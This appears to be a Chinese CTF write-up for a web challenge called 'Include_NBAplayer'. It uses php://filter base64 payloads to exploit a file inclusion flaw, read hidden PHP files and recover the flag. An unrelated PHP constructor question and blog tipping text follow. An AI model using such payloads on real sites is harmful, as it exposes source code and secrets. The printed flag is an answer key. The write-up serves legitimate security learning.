Web - Include_NBAplayer

文章目录

信息收集

在这里插入图片描述
查看源码

在这里插入图片描述
这里可能存在文件包含

测试

随便选一个
在这里插入图片描述
伪协议,查看当前页面
php://filter/read=convert.base64-encode/resource=include/file1.php
得到源码

<?php
$html.=<<<A
<img class=player src="include/kobe.png" />
<p class=nabname>
Kobe Bryant is one of the NBA's best scorer, breakthrough, shooting, free throws, three-pointers he chameleonic, almost no offensive blind area, single-game 81 points of personal record is powerful to prove it.In addition to crazy to points, Bryant's organizational ability is also very outstanding, often served as the first sponsors on offense.Bryant is the best form of defence in the league, one of personal defense is very oppressive.
He is a great NAB player!
</p>
A;
?>

可以看到它将一张图片和一段话赋值给了$html并输出(index.php中有写,伪协议也可以读取)
我们发现图片一共有 5 张,对应五个文件,我们试试读取第六个文件(可能存在)
php://filter/read=convert.base64-encode/resource=include/file6.php
得到

<?php
$html.=<<<A
<p class=nabname>
哦,盲生,你发现了华点!<br />
OKay,flag is in flag.php.<br />
</p>
A;
?>

php://filter/read=convert.base64-encode/resource=include/flag.php

<?php
$a="flag{H4v3_fvn_1NcIudE!}";
$html.=<<<A
<p>
没错,flag就在这里,但是你为什么看不见呢?
伤脑筋,怎么才能看到flag呢?
</p>
A;
'';
?>
这段代码提示Fatal error: Uncaught Error: Cannot call constructor 怎么解决给出答案<?php class human{ public $name="";//姓名 public $height="";//身高 public $weight="";//体重 public function eat($food){ echo $this->name."在吃".$food."<br/>"; } } class anchors extends human{ public $name=""; public $stagename=""; public function __construct($name,$stagename){ parent::__construct(); $this->name=$name; $this->stagename=$stagename; } public function singing(){ echo"我是女主播,我会唱歌<br/>"; } public function eat($food){ echo $this->name."是女主播,我是边唱歌边吃($food)<br/>"; } } class nbaplayer extends human{ public $team="";//团队 public $playername="";//球员号码 public function __construct($name,$height,$weight,$team,$playername){ parent::__construct(); $this->name=$name; $this->height=$height; $this->weight=$weight; $this->team=$team; $this->playername=$playername; echo "构造函数执行了,当前对象是{$this->name}<br/>"; } public function run(){//跑步 echo "跑步中<br/>"; } public function jump(){//跳跃 echo "跳跃<br/>"; } public function dribble(){ echo "运球<br/>";//运球 } public function pass(){ echo "传球<br/>";//传球 } public function dunk(){ echo "扣篮<br/>";//扣篮 } public function eat($food){ echo "我是nba球员,我是站着吃饭,边吃($food)变看球赛<br/>"; } } $jordon=new nbaplayer("乔丹","1.98米","98公斤","公牛","23"); //输出乔丹对象 echo "名称=".$jordon->name."<br/>"; echo $jordon->eat("苹果"); $linda=new anchors("琳达","LD"); echo $linda->eat("苹果"); ?>
06-10
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

1ta-chi

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值